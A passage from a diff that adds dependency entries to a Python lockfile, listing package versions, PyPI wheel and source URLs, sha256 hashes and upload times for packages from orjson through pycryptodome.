"sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223", size = 134806, upload-time = "2026-02-02T15:38:22.186Z" }, + { url = "https://files.pythonhosted.org/packages/0a/5b/6ebcf3defc1aab3a338ca777214966851e92efb1f30dc7fc8285216e6d1b/orjson-3.11.7-cp313-cp313-win32.whl", hash = "sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3", size = 127914, upload-time = "2026-02-02T15:38:23.511Z" }, + { url = "https://files.pythonhosted.org/packages/00/04/c6f72daca5092e3117840a1b1e88dfc809cc1470cf0734890d0366b684a1/orjson-3.11.7-cp313-cp313-win_amd64.whl", hash = "sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757", size = 124986, upload-time = "2026-02-02T15:38:24.836Z" }, + { url = "https://files.pythonhosted.org/packages/03/ba/077a0f6f1085d6b806937246860fafbd5b17f3919c70ee3f3d8d9c713f38/orjson-3.11.7-cp313-cp313-win_arm64.whl", hash = "sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539", size = 126045, upload-time = "2026-02-02T15:38:26.216Z" }, + { url = "https://files.pythonhosted.org/packages/e9/1e/745565dca749813db9a093c5ebc4bac1a9475c64d54b95654336ac3ed961/orjson-3.11.7-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0", size = 228391, upload-time = "2026-02-02T15:38:27.757Z" }, + { url = "https://files.pythonhosted.org/packages/46/19/e40f6225da4d3aa0c8dc6e5219c5e87c2063a560fe0d72a88deb59776794/orjson-3.11.7-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0", size = 125188, upload-time = "2026-02-02T15:38:29.241Z" }, + { url = "https://files.pythonhosted.org/packages/9d/7e/c4de2babef2c0817fd1f048fd176aa48c37bec8aef53d2fa932983032cce/orjson-3.11.7-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6", size = 128097, upload-time = "2026-02-02T15:38:30.618Z" }, + { url = "https://files.pythonhosted.org/packages/eb/74/233d360632bafd2197f217eee7fb9c9d0229eac0c18128aee5b35b0014fe/orjson-3.11.7-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf", size = 123364, upload-time = "2026-02-02T15:38:32.363Z" }, + { url = "https://files.pythonhosted.org/packages/79/51/af79504981dd31efe20a9e360eb49c15f06df2b40e7f25a0a52d9ae888e8/orjson-3.11.7-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5", size = 129076, upload-time = "2026-02-02T15:38:33.68Z" }, + { url = "https://files.pythonhosted.org/packages/67/e2/da898eb68b72304f8de05ca6715870d09d603ee98d30a27e8a9629abc64b/orjson-3.11.7-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892", size = 141705, upload-time = "2026-02-02T15:38:34.989Z" }, + { url = "https://files.pythonhosted.org/packages/c5/89/15364d92acb3d903b029e28d834edb8780c2b97404cbf7929aa6b9abdb24/orjson-3.11.7-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e", size = 130855, upload-time = "2026-02-02T15:38:36.379Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8b/ecdad52d0b38d4b8f514be603e69ccd5eacf4e7241f972e37e79792212ec/orjson-3.11.7-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1", size = 133386, upload-time = "2026-02-02T15:38:37.704Z" }, + { url = "https://files.pythonhosted.org/packages/b9/0e/45e1dcf10e17d0924b7c9162f87ec7b4ca79e28a0548acf6a71788d3e108/orjson-3.11.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183", size = 138295, upload-time = "2026-02-02T15:38:39.096Z" }, + { url = "https://files.pythonhosted.org/packages/63/d7/4d2e8b03561257af0450f2845b91fbd111d7e526ccdf737267108075e0ba/orjson-3.11.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650", size = 408720, upload-time = "2026-02-02T15:38:40.634Z" }, + { url = "https://files.pythonhosted.org/packages/78/cf/d45343518282108b29c12a65892445fc51f9319dc3c552ceb51bb5905ed2/orjson-3.11.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141", size = 144152, upload-time = "2026-02-02T15:38:42.262Z" }, + { url = "https://files.pythonhosted.org/packages/a9/3a/d6001f51a7275aacd342e77b735c71fa04125a3f93c36fee4526bc8c654e/orjson-3.11.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2", size = 134814, upload-time = "2026-02-02T15:38:43.627Z" }, + { url = "https://files.pythonhosted.org/packages/1d/d3/f19b47ce16820cc2c480f7f1723e17f6d411b3a295c60c8ad3aa9ff1c96a/orjson-3.11.7-cp314-cp314-win32.whl", hash = "sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576", size = 127997, upload-time = "2026-02-02T15:38:45.06Z" }, + { url = "https://files.pythonhosted.org/packages/12/df/172771902943af54bf661a8d102bdf2e7f932127968080632bda6054b62c/orjson-3.11.7-cp314-cp314-win_amd64.whl", hash = "sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1", size = 124985, upload-time = "2026-02-02T15:38:46.388Z" }, + { url = "https://files.pythonhosted.org/packages/6f/1c/f2a8d8a1b17514660a614ce5f7aac74b934e69f5abc2700cc7ced882a009/orjson-3.11.7-cp314-cp314-win_arm64.whl", hash = "sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d", size = 126038, upload-time = "2026-02-02T15:38:47.703Z" }, +] + +[[package]] +name = "packaging" +version = "26.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, +] + +[[package]] +name = "paginate" +version = "0.5.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ec/46/68dde5b6bc00c1296ec6466ab27dddede6aec9af1b99090e1107091b3b84/paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945", size = 19252, upload-time = "2024-08-25T14:17:24.139Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/96/04b8e52da071d28f5e21a805b19cb9390aa17a47462ac87f5e2696b9566d/paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591", size = 13746, upload-time = "2024-08-25T14:17:22.55Z" }, +] + +[[package]] +name = "pathspec" +version = "1.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/36/e27608899f9b8d4dff0617b2d9ab17ca5608956ca44461ac14ac48b44015/pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645", size = 131200, upload-time = "2026-01-27T03:59:46.938Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/3c/2c197d226f9ea224a9ab8d197933f9da0ae0aac5b6e0f884e2b8d9c8e9f7/pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723", size = 55206, upload-time = "2026-01-27T03:59:45.137Z" }, +] + +[[package]] +name = "pexpect" +version = "4.9.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ptyprocess" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/92/cc564bf6381ff43ce1f4d06852fc19a2f11d180f23dc32d9588bee2f149d/pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f", size = 166450, upload-time = "2023-11-25T09:07:26.339Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/c3/059298687310d527a58bb01f3b1965787ee3b40dce76752eda8b44e9a2c5/pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523", size = 63772, upload-time = "2023-11-25T06:56:14.81Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/e5/474d0a8508029286b905622e6929470fb84337cfa08f9d09fbb624515249/platformdirs-4.6.0.tar.gz", hash = "sha256:4a13c2db1071e5846c3b3e04e5b095c0de36b2a24be9a3bc0145ca66fce4e328", size = 23433, upload-time = "2026-02-12T14:36:21.288Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/10/1b0dcf51427326f70e50d98df21b18c228117a743a1fc515a42f8dc7d342/platformdirs-4.6.0-py3-none-any.whl", hash = "sha256:dd7f808d828e1764a22ebff09e60f175ee3c41876606a6132a688d809c7c9c73", size = 19549, upload-time = "2026-02-12T14:36:19.743Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pre-commit" +version = "4.5.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cfgv" }, + { name = "identify" }, + { name = "nodeenv" }, + { name = "pyyaml" }, + { name = "virtualenv" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/40/f1/6d86a29246dfd2e9b6237f0b5823717f60cad94d47ddc26afa916d21f525/pre_commit-4.5.1.tar.gz", hash = "sha256:eb545fcff725875197837263e977ea257a402056661f09dae08e4b149b030a61", size = 198232, upload-time = "2025-12-16T21:14:33.552Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5d/19/fd3ef348460c80af7bb4669ea7926651d1f95c23ff2df18b9d24bab4f3fa/pre_commit-4.5.1-py2.py3-none-any.whl", hash = "sha256:3b3afd891e97337708c1674210f8eba659b52a38ea5f822ff142d10786221f77", size = 226437, upload-time = "2025-12-16T21:14:32.409Z" }, +] + +[[package]] +name = "psutil" +version = "7.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" }, + { url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" }, + { url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" }, + { url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" }, + { url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" }, + { url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" }, + { url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" }, + { url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" }, + { url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" }, + { url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" }, + { url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" }, + { url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" }, + { url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" }, + { url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" }, + { url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" }, +] + +[[package]] +name = "ptyprocess" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/e5/16ff212c1e452235a90aeb09066144d0c5a6a8c0834397e03f5224495c4e/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220", size = 70762, upload-time = "2020-12-28T15:15:30.155Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/a6/858897256d0deac81a172289110f31629fc4cee19b6f01283303e18c8db3/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35", size = 13993, upload-time = "2020-12-28T15:15:28.35Z" }, +] + +[[package]] +name = "puremagic" +version = "1.30" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/dd/7f/9998706bc516bdd664ccf929a1da6c6e5ee06e48f723ce45aae7cf3ff36e/puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9", size = 314785, upload-time = "2025-07-04T18:48:36.061Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/91/ed/1e347d85d05b37a8b9a039ca832e5747e1e5248d0bd66042783ef48b4a37/puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1", size = 43304, upload-time = "2025-07-04T18:48:34.801Z" }, +] + +[[package]] +name = "py-cpuinfo" +version = "9.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/37/a8/d832f7293ebb21690860d2e01d8115e5ff6f2ae8bbdc953f0eb0fa4bd2c7/py-cpuinfo-9.0.0.tar.gz", hash = "sha256:3cdbbf3fac90dc6f118bfd64384f309edeadd902d7c8fb17f02ffa1fc3f49690", size = 104716, upload-time = "2022-10-25T20:38:06.303Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/a9/023730ba63db1e494a271cb018dcd361bd2c917ba7004c3e49d5daf795a2/py_cpuinfo-9.0.0-py3-none-any.whl", hash = "sha256:859625bc251f64e21f077d099d4162689c762b5d6a4c3c97553d56241c9674d5", size = 22335, upload-time = "2022-10-25T20:38:27.636Z" }, +] + +[[package]] +name = "pycparser" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" }, +] + +[[package]] +name = "pycryptodome" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" }, + { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" }, + { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = "2025-05-17T17:20:36.086Z" }, + { url = "https://files.pythonhosted.org/packages/9a/dc/9060d807039ee5de6e2f260f72f3d70ac213993a804f5e67e0a73a56dd2f/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d", size = 2269197, upload-time = "2025-05-17T17:20:38.414Z" }, + { url = "https://files.pythonhosted.org/packages/f9/34/e6c8ca177cb29dcc4967fef73f5de445912f93bd0343c9c33c8e5bf8cde8/pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a", size = 1768600, upload-time = "2025-05-17T17:20:40.688Z" }, + { url = "https://files.pythonhosted.org/packages/e4/1d/89756b8d7ff623ad0160f4539da571d1f594d21ee6d68be130a6eccb39a4/pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625", size = 1799740, upload-time = "2025-05-17T17:20:42.413Z" }, + { url = "https://files.pythonhosted.org/packages/5d/61/35a64f0feaea9fd07f0d91209e7be91726eb48c0f1bfc6720647194071e4/pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39", size = 1703685, upload-time = "2025-05-17T17:20:44.388Z" }, + { url = "https://files.pythonhosted.org/packages/db/6c/a1f71542c969912bb0e106f64f60a56cc1f0fabecf9396f45accbe63fa68/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27", size = 2495627, upload-time = "2025-05-17T17:20:47.139Z" }, + { url = "https://files.pythonhosted.org/packages/6e/4e/a066527e079fc5002390c8acdd3aca431e6ea0a50ffd7201551175b47323/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843", size = 1640362, upload-time = "2025-05-17T17:20:50.392Z" }, + { url = "https://files.pythonhosted.org/packages/50/52/adaf4c8c100a8c49d2bd058e5b551f73dfd8cb89eb4911e25a0c469b6b4e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67bd81fcbe34f43ad9422ee8fd4843c8e7198dd88dd3d40e6de42ee65fbe1490", size = 2182625, upload-time = "2025-05-17T17:20:52.866Z" }, + { url = "https://files.pythonhosted.org/packages/5f/e9/a09476d436d0ff1402ac3867d933c61805ec2326c6ea557aeeac3825604e/pycryptodome-3.23.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8987bd3307a39bc03df5c8e0e3d8be0c4c3518b7f044b0f4c15d1aa78f52575", size = 2268954, upload-time = "2025-05-17T17:20:55.027Z" }, + { url = 